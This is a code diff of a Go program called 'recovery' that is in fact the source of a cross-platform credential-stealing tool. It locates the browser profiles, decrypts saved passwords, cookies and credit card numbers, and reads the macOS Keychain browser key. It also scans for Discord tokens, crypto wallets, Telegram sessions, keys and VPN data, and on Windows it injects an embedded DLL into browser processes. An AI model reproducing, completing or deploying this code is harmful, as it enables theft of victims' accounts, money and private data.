sendEvent("error", map[string]string{"error": "fingerprint_js error"})
}
}()
result := recovery.CollectJSFingerprint()
if result == nil {
sendEvent("fingerprint_js_result", map[string]string{"error": "failed to collect JS fingerprint"})
return
}
sendEvent("fingerprint_js_result", result)
log.Printf("[recovery] JS fingerprint collected")
}
func main() {}
+111
View File
@@ -0,0 +1,111 @@
//go:build darwin
package browser
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
var Browsers = []types.BrowserConfig{
// Chromium family
{Name: "Chrome", UserDataPath: "Google/Chrome", ProcessName: "Google Chrome"},
{Name: "Chrome Beta", UserDataPath: "Google/Chrome Beta", ProcessName: "Google Chrome Beta"},
{Name: "Chrome Canary", UserDataPath: "Google/Chrome Canary", ProcessName: "Google Chrome Canary"},
{Name: "Chromium", UserDataPath: "Chromium", ProcessName: "Chromium"},
{Name: "Edge", UserDataPath: "Microsoft Edge", ProcessName: "Microsoft Edge"},
{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "Brave Browser"},
{Name: "Vivaldi", UserDataPath: "Vivaldi", ProcessName: "Vivaldi"},
{Name: "Opera", UserDataPath: "com.operasoftware.Opera", ProcessName: "Opera", FlatProfile: true},
{Name: "Opera GX", UserDataPath: "com.operasoftware.OperaGX", ProcessName: "Opera GX", FlatProfile: true},
{Name: "Arc", UserDataPath: "Arc/User Data", ProcessName: "Arc"},
{Name: "Yandex", UserDataPath: "Yandex/YandexBrowser", ProcessName: "Yandex"},
// Firefox family
{Name: "Firefox", UserDataPath: "Firefox", ProcessName: "firefox", IsFirefox: true},
{Name: "LibreWolf", UserDataPath: "LibreWolf", ProcessName: "librewolf", IsFirefox: true},
{Name: "Waterfox", UserDataPath: "Waterfox", ProcessName: "waterfox", IsFirefox: true},
}
func GetLocalAppData() string {
home, _ := os.UserHomeDir()
return filepath.Join(home, "Library", "Application Support")
}
func GetUserDataRoot(cfg types.BrowserConfig) string {
return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
}
func LocalStatePath(cfg types.BrowserConfig) string {
return filepath.Join(GetUserDataRoot(cfg), "Local State")
}
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
root := GetUserDataRoot(cfg)
if cfg.FlatProfile {
if _, err := os.Stat(root); err == nil {
return []types.ProfileInfo{{Name: "Default", Path: root}}
}
return nil
}
if cfg.IsFirefox {
return findFirefoxProfiles(root)
}
return findChromiumProfiles(root)
}
func findChromiumProfiles(root string) []types.ProfileInfo {
entries, err := os.ReadDir(root)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
prefPath := filepath.Join(root, e.Name(), "Preferences")
if _, err := os.Stat(prefPath); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(root, e.Name()),
})
}
}
return profiles
}
func findFirefoxProfiles(root string) []types.ProfileInfo {
profilesDir := filepath.Join(root, "Profiles")
entries, err := os.ReadDir(profilesDir)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(profilesDir, e.Name()),
})
}
}
return profiles
}
func IsFirefoxProfileName(name string) bool {
parts := strings.SplitN(name, ".", 2)
if len(parts) != 2 {
return false
}
suffix := strings.ToLower(parts[1])
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
}
+112
View File
@@ -0,0 +1,112 @@
//go:build linux
package browser
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
var Browsers = []types.BrowserConfig{
// Chromium family
{Name: "Chrome", UserDataPath: "google-chrome", ProcessName: "chrome"},
{Name: "Chrome Beta", UserDataPath: "google-chrome-beta", ProcessName: "chrome"},
{Name: "Chrome Dev", UserDataPath: "google-chrome-unstable", ProcessName: "chrome"},
{Name: "Chromium", UserDataPath: "chromium", ProcessName: "chromium"},
{Name: "Edge", UserDataPath: "microsoft-edge", ProcessName: "msedge"},
{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "brave"},
{Name: "Vivaldi", UserDataPath: "vivaldi", ProcessName: "vivaldi"},
{Name: "Opera", UserDataPath: "opera", ProcessName: "opera", FlatProfile: true},
// Firefox family
{Name: "Firefox", UserDataPath: ".mozilla/firefox", ProcessName: "firefox", IsFirefox: true},
{Name: "LibreWolf", UserDataPath: ".librewolf", ProcessName: "librewolf", IsFirefox: true},
{Name: "Waterfox", UserDataPath: ".waterfox", ProcessName: "waterfox", IsFirefox: true},
}
func GetLocalAppData() string {
home, _ := os.UserHomeDir()
return filepath.Join(home, ".config")
}
func GetUserDataRoot(cfg types.BrowserConfig) string {
if cfg.IsFirefox {
home, _ := os.UserHomeDir()
return filepath.Join(home, cfg.UserDataPath)
}
return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
}
func LocalStatePath(cfg types.BrowserConfig) string {
return filepath.Join(GetUserDataRoot(cfg), "Local State")
}
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
root := GetUserDataRoot(cfg)
if cfg.FlatProfile {
if _, err := os.Stat(root); err == nil {
return []types.ProfileInfo{{Name: "Default", Path: root}}
}
return nil
}
if cfg.IsFirefox {
return findFirefoxProfiles(root)
}
return findChromiumProfiles(root)
}
func findChromiumProfiles(root string) []types.ProfileInfo {
entries, err := os.ReadDir(root)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
prefPath := filepath.Join(root, e.Name(), "Preferences")
if _, err := os.Stat(prefPath); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(root, e.Name()),
})
}
}
return profiles
}
func findFirefoxProfiles(root string) []types.ProfileInfo {
profilesDir := root
entries, err := os.ReadDir(profilesDir)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(profilesDir, e.Name()),
})
}
}
return profiles
}
func IsFirefoxProfileName(name string) bool {
parts := strings.SplitN(name, ".", 2)
if len(parts) != 2 {
return false
}
suffix := strings.ToLower(parts[1])
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
}
+113
View File
@@ -0,0 +1,113 @@
//go:build windows
package browser
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
var Browsers = []types.BrowserConfig{
// ── Chromium family (LOCALAPPDATA) ────────────────────────────────────────
{Name: "Chrome", UserDataPath: `Google\Chrome\User Data`, ProcessName: "chrome.exe"},
{Name: "Edge", UserDataPath: `Microsoft\Edge\User Data`, ProcessName: "msedge.exe"},
{Name: "Brave", UserDataPath: `BraveSoftware\Brave-Browser\User Data`, ProcessName: "brave.exe"},
{Name: "Vivaldi", UserDataPath: `Vivaldi\User Data`, ProcessName: "vivaldi.exe"},
{Name: "Yandex", UserDataPath: `Yandex\YandexBrowser\User Data`, ProcessName: "browser.exe"},
{Name: "Arc", UserDataPath: `Arc\User Data`, ProcessName: "Arc.exe"},
// ── Opera (APPDATA, flat profile) ────────────────────────────────────────
// ts doesn't work will fix in the future
{Name: "Opera", UserDataPath: `Opera Software\Opera Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
{Name: "Opera GX", UserDataPath: `Opera Software\Opera GX Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
// ── Firefox family (APPDATA, Firefox profile layout) ─────────────────────
{Name: "Firefox", UserDataPath: `Mozilla\Firefox`, ProcessName: "firefox.exe", UseAppData: true, IsFirefox: true},
{Name: "LibreWolf", UserDataPath: `LibreWolf`, ProcessName: "librewolf.exe", UseAppData: true, IsFirefox: true},
{Name: "Waterfox", UserDataPath: `Waterfox`, ProcessName: "waterfox.exe", UseAppData: true, IsFirefox: true},
}
func GetLocalAppData() string {
return os.Getenv("LOCALAPPDATA")
}
func GetUserDataRoot(cfg types.BrowserConfig) string {
base := os.Getenv("LOCALAPPDATA")
if cfg.UseAppData {
base = os.Getenv("APPDATA")
}
return filepath.Join(base, cfg.UserDataPath)
}
func LocalStatePath(cfg types.BrowserConfig) string {
return filepath.Join(GetUserDataRoot(cfg), "Local State")
}
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
root := GetUserDataRoot(cfg)
if cfg.FlatProfile {
if _, err := os.Stat(root); err == nil {
return []types.ProfileInfo{{Name: "Default", Path: root}}
}
return nil
}
if cfg.IsFirefox {
return findFirefoxProfiles(root)
}
return findChromiumProfiles(root)
}
func findChromiumProfiles(root string) []types.ProfileInfo {
entries, err := os.ReadDir(root)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
prefPath := filepath.Join(root, e.Name(), "Preferences")
if _, err := os.Stat(prefPath); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(root, e.Name()),
})
}
}
return profiles
}
func findFirefoxProfiles(root string) []types.ProfileInfo {
profilesDir := filepath.Join(root, "Profiles")
entries, err := os.ReadDir(profilesDir)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(profilesDir, e.Name()),
})
}
}
return profiles
}
func IsFirefoxProfileName(name string) bool {
parts := strings.SplitN(name, ".", 2)
if len(parts) != 2 {
return false
}
suffix := strings.ToLower(parts[1])
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
}
+7
View File
@@ -0,0 +1,7 @@
package browser
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[browser] "+format, args...)
}
+316
View File
@@ -0,0 +1,316 @@
package chromium
import (
"database/sql"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"recovery/recovery/crypto"
"recovery/recovery/db"
"recovery/recovery/types"
)
const HistoryLimit = 5000
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.PasswordResult {
var results []types.PasswordResult
for _, dbFile := range []string{"Login Data", "Login Data For Account"} {
dbPath := filepath.Join(profile.Path, dbFile)
if _, err := os.Stat(dbPath); err != nil {
continue
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
continue
}
rows, err := d.Query("SELECT origin_url, username_value, password_value FROM logins")
if err != nil {
d.Close()
continue
}
for rows.Next() {
var url, username sql.NullString
var passwordBlob []byte
rows.Scan(&url, &username, &passwordBlob)
password := crypto.DecryptChromiumBlob(passwordBlob, keys.V10, keys.V20)
if dbFile == "Login Data For Account" && password == "" {
continue
}
if url.String != "" && (username.String != "" || password != "") {
results = append(results, types.PasswordResult{
URL: url.String,
Username: username.String,
Password: password,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
rows.Close()
d.Close()
}
return results
}
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CookieResult {
dbPath := filepath.Join(profile.Path, "Network", "Cookies")
if _, err := os.Stat(dbPath); err != nil {
dbPath = filepath.Join(profile.Path, "Cookies")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
logf("cookie DB open failed for %s (%s): %v", cfg.Name, dbPath, err)
return nil
}
defer d.Close()
rows, err := d.Query("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value, value FROM cookies")
if err != nil {
logf("cookie query failed for %s: %v", cfg.Name, err)
return nil
}
defer rows.Close()
var results []types.CookieResult
count := 0
for rows.Next() {
count++
var host, name, path, plainValue sql.NullString
var secure, httpOnly sql.NullBool
var expiresUTC sql.NullInt64
var encryptedValue []byte
rows.Scan(&host, &name, &path, &secure, &httpOnly, &expiresUTC, &encryptedValue, &plainValue)
value := crypto.DecryptChromiumBlob(encryptedValue, keys.V10, keys.V20)
if value == "" {
value = plainValue.String
}
results = append(results, types.CookieResult{
Host: host.String,
Name: name.String,
Value: value,
Path: path.String,
Secure: secure.Bool,
HTTPOnly: httpOnly.Bool,
ExpiresUTC: expiresUTC.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
logf("cookie row count for %s: %d", cfg.Name, count)
return results
}
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
dbPath := filepath.Join(profile.Path, "Web Data")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
queries := []string{
"SELECT name, value, date_created, count FROM autofill",
"SELECT name, value, count FROM autofill",
"SELECT name, value FROM autofill",
}
var results []types.AutofillResult
for _, q := range queries {
rows, err := d.Query(q)
if err != nil {
continue
}
for rows.Next() {
var name, value sql.NullString
var dateCreated, count sql.NullInt64
switch len(strings.Split(q, ",")) {
case 4:
rows.Scan(&name, &value, &dateCreated, &count)
case 3:
rows.Scan(&name, &value, &count)
default:
rows.Scan(&name, &value)
}
if name.String != "" {
results = append(results, types.AutofillResult{
Name: name.String,
Value: value.String,
DateCreated: dateCreated.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
rows.Close()
if len(results) > 0 {
break
}
}
return results
}
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.HistoryResult {
dbPath := filepath.Join(profile.Path, "History")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
queries := []string{
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition, v.visit_duration FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
}
var results []types.HistoryResult
for _, q := range queries {
rows, err := d.Query(q)
if err != nil {
continue
}
for rows.Next() {
var url, title sql.NullString
var visitTime sql.NullInt64
var transition, duration sql.NullInt64
if strings.Contains(q, "visit_duration") {
rows.Scan(&url, &title, &visitTime, &transition, &duration)
} else {
rows.Scan(&url, &title, &visitTime, &transition)
}
var visitTimeUnix int64
if visitTime.Int64 > 0 {
visitTimeUnix = (visitTime.Int64 - 11644473600000000) / 1000000
}
if url.String != "" {
results = append(results, types.HistoryResult{
URL: url.String,
Title: title.String,
VisitTimeUnix: visitTimeUnix,
VisitCount: duration.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
rows.Close()
if len(results) > 0 {
break
}
}
return results
}
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
bookmarkPath := filepath.Join(profile.Path, "Bookmarks")
data, err := os.ReadFile(bookmarkPath)
if err != nil {
return nil
}
var bookmarkData map[string]interface{}
if err := json.Unmarshal(data, &bookmarkData); err != nil {
return nil
}
var results []types.BookmarkResult
if roots, ok := bookmarkData["roots"].(map[string]interface{}); ok {
walkBookmarkNode(roots, cfg.Name, profile.Name, &results)
}
return results
}
func walkBookmarkNode(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
for _, key := range []string{"bookmark_bar", "other", "synced"} {
if child, ok := node[key].(map[string]interface{}); ok {
walkBookmarkChildren(child, browser, profileName, results)
}
}
}
func walkBookmarkChildren(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
children, ok := node["children"].([]interface{})
if !ok {
return
}
for _, c := range children {
child, ok := c.(map[string]interface{})
if !ok {
continue
}
switch child["type"] {
case "url":
name, _ := child["name"].(string)
url, _ := child["url"].(string)
if url != "" {
*results = append(*results, types.BookmarkResult{
Name: name,
URL: url,
Type: "url",
Browser: browser,
Profile: profileName,
})
}
case "folder":
walkBookmarkChildren(child, browser, profileName, results)
}
}
}
func ExtractCreditCards(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CreditCardResult {
dbPath := filepath.Join(profile.Path, "Web Data")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, nickname FROM credit_cards")
if err != nil {
return nil
}
defer rows.Close()
var results []types.CreditCardResult
for rows.Next() {
var name, nickname sql.NullString
var expMonth, expYear sql.NullInt64
var encrypted []byte
rows.Scan(&name, &expMonth, &expYear, &encrypted, &nickname)
cardNumber := crypto.DecryptChromiumBlob(encrypted, keys.V10, keys.V20)
if name.String != "" || cardNumber != "" {
results = append(results, types.CreditCardResult{
NameOnCard: name.String,
ExpirationMonth: int(expMonth.Int64),
ExpirationYear: int(expYear.Int64),
CardNumber: cardNumber,
Nickname: nickname.String,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
+7
View File
@@ -0,0 +1,7 @@
package chromium
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[chromium] "+format, args...)
}
+399
View File
@@ -0,0 +1,399 @@
package recovery
import (
"context"
"fmt"
"sync"
"recovery/recovery/browser"
"recovery/recovery/chromium"
"recovery/recovery/crypto"
"recovery/recovery/discord"
"recovery/recovery/firefox"
"recovery/recovery/platform"
"recovery/recovery/scanner"
"recovery/recovery/types"
)
func mergeInto(dst, src *types.CollectionResult) {
dst.Passwords = append(dst.Passwords, src.Passwords...)
dst.Cookies = append(dst.Cookies, src.Cookies...)
dst.Autofill = append(dst.Autofill, src.Autofill...)
dst.History = append(dst.History, src.History...)
dst.Bookmarks = append(dst.Bookmarks, src.Bookmarks...)
dst.CreditCards = append(dst.CreditCards, src.CreditCards...)
dst.DiscordTokens = append(dst.DiscordTokens, src.DiscordTokens...)
dst.Files = append(dst.Files, src.Files...)
dst.Wallets = append(dst.Wallets, src.Wallets...)
dst.Telegram = append(dst.Telegram, src.Telegram...)
dst.Keys = append(dst.Keys, src.Keys...)
dst.AppCredentials = append(dst.AppCredentials, src.AppCredentials...)
if src.Gaming != nil {
dst.Gaming = src.Gaming
}
if src.VPNs != nil {
dst.VPNs = src.VPNs
}
dst.Errors = append(dst.Errors, src.Errors...)
}
func Collect(ctx context.Context, opts types.CollectOptions, partialFn func(*types.CollectionResult)) (*types.CollectionResult, error) {
result := &types.CollectionResult{}
platform.ResetHandleCache()
defer platform.ResetHandleCache()
var (
mu sync.Mutex
wg sync.WaitGroup
)
launchScans(opts, result, partialFn, &wg, &mu)
platformSetupCollect()
defer platformTeardownCollect()
needsBrowserData := opts.Passwords || opts.Cookies || opts.Autofill ||
opts.History || opts.Bookmarks || opts.CreditCards
type job struct {
cfg types.BrowserConfig
keys *types.ResolvedKeys
profile types.ProfileInfo
pids []uint32
}
jobCh := make(chan job, 64)
// Launch extraction workers up front so they can consume jobs as soon as
// each browser's keys resolve, instead of waiting for every browser's key
// resolution (and its headless spawn) to finish first.
const workers = 4
for i := 0; i < workers; i++ {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("browser profile extraction", &result.Errors, &mu)
for j := range jobCh {
select {
case <-ctx.Done():
return
default:
}
func() {
defer recoverErrors(fmt.Sprintf("%s/%s extraction", j.cfg.Name, j.profile.Name), &result.Errors, &mu)
partial := extractProfileData(ctx, j.cfg, j.keys, j.profile, j.pids, opts)
mu.Lock()
mergeInto(result, partial)
mu.Unlock()
if partialFn != nil && (len(partial.Passwords) > 0 || len(partial.Cookies) > 0 ||
len(partial.Autofill) > 0 || len(partial.History) > 0 ||
len(partial.Bookmarks) > 0 || len(partial.CreditCards) > 0) {
partialFn(partial)
}
}()
}
}()
}
if needsBrowserData {
const keyWorkers = 3
sem := make(chan struct{}, keyWorkers)
var keyWg sync.WaitGroup
for _, cfg := range browser.Browsers {
profiles := browser.FindProfileDirs(cfg)
if len(profiles) == 0 {
continue
}
keyWg.Add(1)
go func(cfg types.BrowserConfig, profiles []types.ProfileInfo) {
defer keyWg.Done()
sem <- struct{}{}
defer func() { <-sem }()
logf("resolving keys for %s (%d profiles)", cfg.Name, len(profiles))
keys, err := crypto.ResolveKeys(cfg)
if err != nil {
logf("%s key resolution failed: %v", cfg.Name, err)
keys = &types.ResolvedKeys{}
mu.Lock()
result.Errors = append(result.Errors, fmt.Sprintf("%s key resolution: %v", cfg.Name, err))
mu.Unlock()
}
pids, _ := platform.FindProcesses(cfg.ProcessName)
for _, p := range profiles {
select {
case jobCh <- job{cfg, keys, p, pids}:
case <-ctx.Done():
logf("collection deadline reached; stopping job producer for %s", cfg.Name)
return
}
}
}(cfg, profiles)
}
go func() {
keyWg.Wait()
close(jobCh)
}()
} else {
close(jobCh)
}
wg.Wait()
if err := ctx.Err(); err != nil {
note := fmt.Sprintf("collection interrupted (%v); results may be incomplete", err)
result.Errors = append(result.Errors, note)
logf("%s", note)
}
return result, nil
}
func launchScans(opts types.CollectOptions, result *types.CollectionResult, partialFn func(*types.CollectionResult), wg *sync.WaitGroup, mu *sync.Mutex) {
if opts.Discord {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("discord token extraction", &result.Errors, mu)
tokens := discord.ExtractTokens()
if len(tokens) > 0 {
mu.Lock()
result.DiscordTokens = append(result.DiscordTokens, tokens...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{DiscordTokens: tokens})
}
}
}()
}
if opts.Files {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("file scan", &result.Errors, mu)
files := scanner.ScanFiles()
if len(files) > 0 {
mu.Lock()
result.Files = append(result.Files, files...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Files: files})
}
}
}()
}
if opts.Wallets {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("wallet scan", &result.Errors, mu)
wallets := scanner.ScanWallets()
if len(wallets) > 0 {
mu.Lock()
result.Wallets = append(result.Wallets, wallets...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Wallets: wallets})
}
}
}()
}
if opts.Telegram {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("telegram scan", &result.Errors, mu)
sessions := scanner.ScanTelegram()
if len(sessions) > 0 {
mu.Lock()
result.Telegram = append(result.Telegram, sessions...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Telegram: sessions})
}
}
}()
}
if opts.Keys {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("key scan", &result.Errors, mu)
keys := scanner.ScanKeys()
if len(keys) > 0 {
mu.Lock()
result.Keys = append(result.Keys, keys...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Keys: keys})
}
}
}()
}
if opts.Apps {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("app credentials scan", &result.Errors, mu)
apps := scanner.ScanApps()
if len(apps) > 0 {
mu.Lock()
result.AppCredentials = append(result.AppCredentials, apps...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{AppCredentials: apps})
}
}
}()
}
if opts.Gaming {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("gaming scan", &result.Errors, mu)
gaming := ScanGaming()
if gaming != nil {
mu.Lock()
result.Gaming = gaming
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Gaming: gaming})
}
}
}()
}
if opts.VPNs {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("vpn scan", &result.Errors, mu)
vpns := ScanVPNs()
if vpns != nil {
mu.Lock()
result.VPNs = vpns
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{VPNs: vpns})
}
}
}()
}
}
func extractProfileData(ctx context.Context, cfg types.BrowserConfig, keys *types.ResolvedKeys, profile types.ProfileInfo, pids []uint32, opts types.CollectOptions) *types.CollectionResult {
partial := &types.CollectionResult{}
var (
wg sync.WaitGroup
eMu sync.Mutex
errs []string
)
label := fmt.Sprintf("%s/%s", cfg.Name, profile.Name)
if cfg.IsFirefox {
if opts.Passwords {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" password extraction", &errs, &eMu)
partial.Passwords = firefox.ExtractPasswords(profile, cfg, pids)
}()
}
if opts.Cookies {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
partial.Cookies = firefox.ExtractCookies(profile, cfg)
}()
}
if opts.Autofill {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
partial.Autofill = firefox.ExtractAutofill(profile, cfg, pids)
}()
}
if opts.History {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" history extraction", &errs, &eMu)
partial.History = firefox.ExtractHistory(profile, cfg)
}()
}
if opts.Bookmarks {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
partial.Bookmarks = firefox.ExtractBookmarks(profile, cfg)
}()
}
wg.Wait()
partial.Errors = errs
return partial
}
if opts.Passwords {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" password extraction", &errs, &eMu)
partial.Passwords = chromium.ExtractPasswords(profile, cfg, keys, pids)
}()
}
if opts.Cookies {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
partial.Cookies = chromium.ExtractCookies(profile, cfg, keys, pids)
}()
}
if opts.Autofill {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
partial.Autofill = chromium.ExtractAutofill(profile, cfg, pids)
}()
}
if opts.History {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" history extraction", &errs, &eMu)
partial.History = chromium.ExtractHistory(profile, cfg, pids)
}()
}
if opts.Bookmarks {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
partial.Bookmarks = chromium.ExtractBookmarks(profile, cfg)
}()
}
if opts.CreditCards {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" credit card extraction", &errs, &eMu)
partial.CreditCards = chromium.ExtractCreditCards(profile, cfg, keys, pids)
}()
}
wg.Wait()
partial.Errors = errs
return partial
}
+7
View File
@@ -0,0 +1,7 @@
//go:build !windows
package recovery
func platformSetupCollect() {}
func platformTeardownCollect() {}
+41
View File
@@ -0,0 +1,41 @@
//go:build windows
package recovery
import (
"os"
"recovery/recovery/browser"
"recovery/recovery/platform"
)
func platformSetupCollect() {
if os.Getenv("KEMATIAN_NO_INJECT") != "" {
logf("injection disabled via KEMATIAN_NO_INJECT — direct file access only")
return
}
dllBytes := platform.GetEmbeddedDLL()
if dllBytes != nil {
for _, cfg := range browser.Browsers {
logf("attempting DLL injection into %s", cfg.Name)
session, err := platform.CreatePipeSession(dllBytes, cfg.Name)
if err != nil {
logf("inject %s failed: %v", cfg.Name, err)
continue
}
_ = session
logf("pipe session established with %s", cfg.Name)
break
}
} else {
logf("no embedded DLL — direct file access only")
}
}
func platformTeardownCollect() {
if platform.ActivePipeSession != nil {
platform.ActivePipeSession.Close()
platform.ActivePipeSession = nil
}
}
+31
View File
@@ -0,0 +1,31 @@
package crypto
import "strings"
func CleanPassword(data []byte) string {
s := string(data)
allPrint := true
for _, c := range s {
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
allPrint = false
break
}
}
if allPrint {
return strings.TrimSpace(s)
}
if len(data) > 32 {
s2 := string(data[32:])
allPrint2 := true
for _, c := range s2 {
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
allPrint2 = false
break
}
}
if allPrint2 {
return strings.TrimSpace(s2)
}
}
return ""
}
+163
View File
@@ -0,0 +1,163 @@
//go:build darwin
package crypto
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha1"
"encoding/json"
"fmt"
"os"
"os/exec"
"strings"
"recovery/recovery/browser"
"recovery/recovery/types"
"golang.org/x/crypto/pbkdf2"
)
const (
darwinChromeSalt = "saltysalt"
darwinChromeIterations = 1003
darwinChromeKeyLen = 16
)
var chromeKeychainServices = map[string]string{
"Chrome": "Chrome Safe Storage",
"Chrome Beta": "Chrome Safe Storage",
"Chrome Canary": "Chrome Safe Storage",
"Chromium": "Chromium Safe Storage",
"Edge": "Microsoft Edge Safe Storage",
"Brave": "Brave Safe Storage",
"Vivaldi": "Vivaldi Safe Storage",
"Opera": "Opera Safe Storage",
"Opera GX": "Opera Safe Storage",
"Arc": "Arc Safe Storage",
"Yandex": "Yandex Safe Storage",
}
func getKeychainPassword(browserName string) (string, error) {
service, ok := chromeKeychainServices[browserName]
if !ok {
service = browserName + " Safe Storage"
}
cmd := exec.Command("security", "find-generic-password", "-wa", service)
out, err := cmd.Output()
if err != nil {
return "", fmt.Errorf("keychain lookup failed for %s: %w", service, err)
}
return strings.TrimSpace(string(out)), nil
}
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
if cfg.IsFirefox {
return &types.ResolvedKeys{}, nil
}
localStatePath := browser.LocalStatePath(cfg)
if _, err := os.Stat(localStatePath); err != nil {
// fuck it we still trying
return resolveKeyFromKeychain(cfg)
}
data, err := os.ReadFile(localStatePath)
if err != nil {
return resolveKeyFromKeychain(cfg)
}
var localState map[string]interface{}
if err := json.Unmarshal(data, &localState); err != nil {
return resolveKeyFromKeychain(cfg)
}
return resolveKeyFromKeychain(cfg)
}
